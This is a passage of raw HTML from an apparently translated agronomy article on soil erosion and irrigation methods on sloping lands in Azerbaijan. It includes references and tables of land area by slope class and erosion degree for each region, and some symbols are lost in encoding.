Roman,Times,serif\">As can be seen from the table, the most common is water erosion, which develops in ornyh regions more intensively. Soil soils in this and other extent are subject to erosion, which covers 51.0-92.4% of the land area. In the Shahbuz and Ordubad regions, the soils were heavily eroded and, correspondingly, 54.3 and 67.2%. [3,4]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Here it is possible to increase irrigated land up to 1235 hectares. The mountain areas mentioned above, due to the collection of mudflow waters in small reservoirs, more than 1300 hectares wet or unsustainable soils conduct irrigation, which serves to protect mudflow and irrigation erosion in these areas. In addition, through the reduction of soil erosion, the introduction of a number of measures, incl. the provision of sufficient soil with mineral fertilizers in these areas can be achieved by producing 35.0 thousand tons of wheat, 12.0 thousand tons of tobacco, 10-15 thousand tons of vegetables, 95-100 thousand tons of potatoes, and also by improving the feed base to significantly increase the production of livestock products. By mastering the mountain and foothill regions on the sloping lands of Azerbaijan with the use of newly developed irrigation equipment, we accomplished a large volume of long-term research work under the guidance of B.H.Aliyeva [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Given the above, it is recommended for the mountain and foothill areas the following methods of irrigation: along furrows with a slit; </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2. Sprinkling with low intensity of rain.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3. finely dispersed moistening in combination and without combination withsprinkling.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">4. Drip irrigation, etc. Watering on furrows with a slit of terrain ?0,03. for other crops under the conditions under consideration, the surface watering method is not recommended because of uneconomical water consumption.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It should be noted that the creation and development of new progressive irrigation methods is an exception to irrigation erosion, saving irrigation water and not violating environmental protection of the environment. From the foregoing it follows that when developing mountain slopes not only in Azerbaijan but also in the countries of the world, a cautious approach is required to properly select the technique and technology of irrigation recommended for irrigation of tilled crops on lands with slopes. In conclusion, on slopes 15-200 it is necessary to place gardens and vineyards. Often, slopes of 30-400 and more degrees, are used for vineyards with the direction of rows along the slope, which creates the most difficult conditions for the operation of agricultural machines and enhanced flushing of the upper fertile soil layer in the inter-row spacing. Therefore, the author believes when laying new gardens and vineyards, one should not go on an apparently more economical way of laying in the direction of the slope. There is also the use of steep slopes for the sowing of grain and forage crops.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To solve this task, it is necessary to differentiate the lands according to their natural potential and the degree of erosion, and then determine a set of measures to stop the processes of degradation and restoration of soil fertility with subsequent zoning of the territory of the republic according to the degree of erosion with mandatory consideration of all factors affecting the condition and use of land in different types of soil in the republic. On the effectiveness of the anti-erosion measures developed by us and on the prevention of the erosion hazard, which is a complex of protective means that facilitates the regulation of surface runoff, protection of soils from flushing, erosion, and at the same time, the restoration and increase of the fertility of washed-away soils and the involvement of washed-out lands in rational use in the agriculture of the republic.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mamedov RG (1970) Agrophysical characteristics of soils near the Araxian strip. Baku Pg No:321.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mamedov GSH (2000) Land reform in Azerbaijan: legal and scientific-environmental issues. Baku Pg No: 371.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev GA (1978) Soils of the Greater Caucasus within the Azerbaijan SSR. Baku &quot;Elm&quot; Pg No: 157.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev BH, Aliev ZH, Aliev IN (2000) Problems of erosion in Azerbaijan and ways to solve it. Publishing house Ziya-CPI &quot;Nurlan&quot;. Baku.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vernadsky VI (1908) Works on the general history of science [Text] / VI. Vernadsky. - Moscow: Nauka.</span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/322e9315.jpg\" style=\"height:146px; width:160px\" /></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong>&nbsp;Aliyev ARBH, Aliyev RZH (2018) Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan. Open Acc J Agri Res: OAJAR-100006.</span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Natural and economic zones</span></strong></span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Suitable for irrigation under conditions of relief</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"4\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Including with slopes</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\"><span style=\"font-family:Symbol\">&lt;</span></span></strong><strong><span style=\"font-size:10.0pt\">0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">05</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">05+0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">10</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">10+0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">20</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">20+0</span></strong><strong><span style=\"font-size:10.0pt\">.</span></strong><strong><span style=\"font-size:10.0pt\">40</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ganja-Kazakh</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">427</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">50</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">251</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">63</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">70</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">00</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Shirvan</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">680</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">80</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">522</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">50</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">66</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Karabag-Miles&nbsp;</span>???????-?</p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">749</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">00</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">567</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">80</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">20</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">47</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">40</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">80</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mugano-Salianskaya</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">429</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">402</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sheki-Zagatala&nbsp;</span>????-</p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">322</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">236</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lenorkan</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">79</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Absherons</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kuba-Khachmaz&nbsp;</span>????-???</p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">203</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">179</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">The Upper Garabagh</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">133</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">43</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Nakhichevan</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">154</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">95</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">TOTAL in the republic</span></p>\r\n			</td>\r\n			<td style=\"width:73.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3235</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2390</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">362</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">266</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">216</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong> The distribution of land in the natural and economic zones of the Republic by relief conditions.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Raions</span></strong></span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Total area in thousand hectares</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"4\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Including the degree of susceptibility to erosion</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">not subject.</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">thousand hectares,%</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Slightly</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">moderately</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">strong</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Density</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3/25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3/20</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/28</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1/25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kedabek</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">150</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/49</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1/13</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8\\29</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8/27</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kelbajar</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">124</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4/38</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2/21</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9/15</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8/24</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lachin</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">166</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">56</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/34</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3/15</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/22</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46</span><span 